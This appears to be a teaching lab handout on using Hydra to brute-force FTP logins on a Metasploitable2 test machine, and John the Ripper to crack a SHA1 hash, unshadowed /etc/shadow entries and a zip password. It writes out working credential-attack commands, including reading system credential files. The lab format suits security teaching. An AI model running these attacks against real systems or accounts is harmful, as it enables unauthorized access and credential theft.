Lab-08: Working with Password Cracking Tools in Kali Linux
Lab Objective:
The objective of this lab is to explore and understand the functionality of password-cracking
tools available in Kali Linux, their practical applications, and ethical considerations. The
focus will be on tools such as Hydra and John the Ripper.
Lab Requirements:
• A system running Kali Linux.
• Sample password-protected files or services.
• Vulnerable Machine : Metasploitable2
Tools Overview:
1. Hydra: Used for brute-force attacks on remote authentication services.
2. John : the Ripper: A fast password cracker for local file analysis.
Lab Task:
Download Word List file:
• Search the password wordlist by browsing Google “password wordlist
download”
Part 1: Using Hydra for Brute Force Attacks
1. Open a terminal in Kali Linux.
2. Identify a service for testing, e.g., SSH, FTP, or HTTP.
Syntax: hydra -1 [username] -P [password_list.txt] [target IP]
service_name
Step-1: Make or download password list file and name it as [Link]
Step-2: Target Machine- Metasploitable2
IP: [Link]
Step-3: Testing ftp Service, Username known and we find the password, type the
following command:
# hydra -l msfadmin -P [Link] [Link] ftp
Step-4: When password is known and we have to find username. Make/ download users list.
# hydra -L [Link] -p msfadmin [Link] ftp
Step-5, both username and password unknown
# hydra -L [Link] -P [Link] [Link] ftp
Step-6, saving output in file
# hydra -L [Link] -P [Link] [Link] ftp -o [Link]
3. Observe the results and note any successful login attempts.
Part 2: Cracking Password Hashes with John the Ripper
# sudo apt install john
SINGLE CRACK MODE:
1. Create a file containing encrypted password
# nano [Link]
stealth:d776dd32d662b8efbdf853837269bd725203c579
Paste the hash key in the crack file and save it and exit.
Type the following in the terminal to run in Single crack mode:
# john --single --format=raw-sha1 [Link]
# john --show [Link]
WORDLIST MODE/ DICTIONARY MODE:
Download the wordlist file and rename as [Link] and save it in the Kali Desktop
Cracking the password of Kali Linux User:
1. Obtain a sample hash file from /etc/shadow and /etc/passwd.
2. Obtain the user details from the files as
sudo cat passwd
Copy the user information and create a new file as passwd (nano passwd ) in the
Desktop and save the copied information in the files.
Similarly, create a shadow file in the Desktop by copying the user details from
/etc/shadow file.
3. Format the hash file using unshadow (for shadow files). At the desktop of Kali, open
the terminal and type
unshadow passwd shadow > [Link]
sudo john --wordlist=[Link] --format=crypt [Link]
Cracking zip file password
Target zip file: [Link]
Type the following at the terminal:
1. # sudo zip2john [Link] > [Link]
2. # sudo john --format=zip [Link]
Conclusion:
• Hydra: Successfully identified weak credentials for the test FTP service.
• John the Ripper: Recovered simple passwords from the provided hash file
within a reasonable timeframe.
Faculty Signature ...............
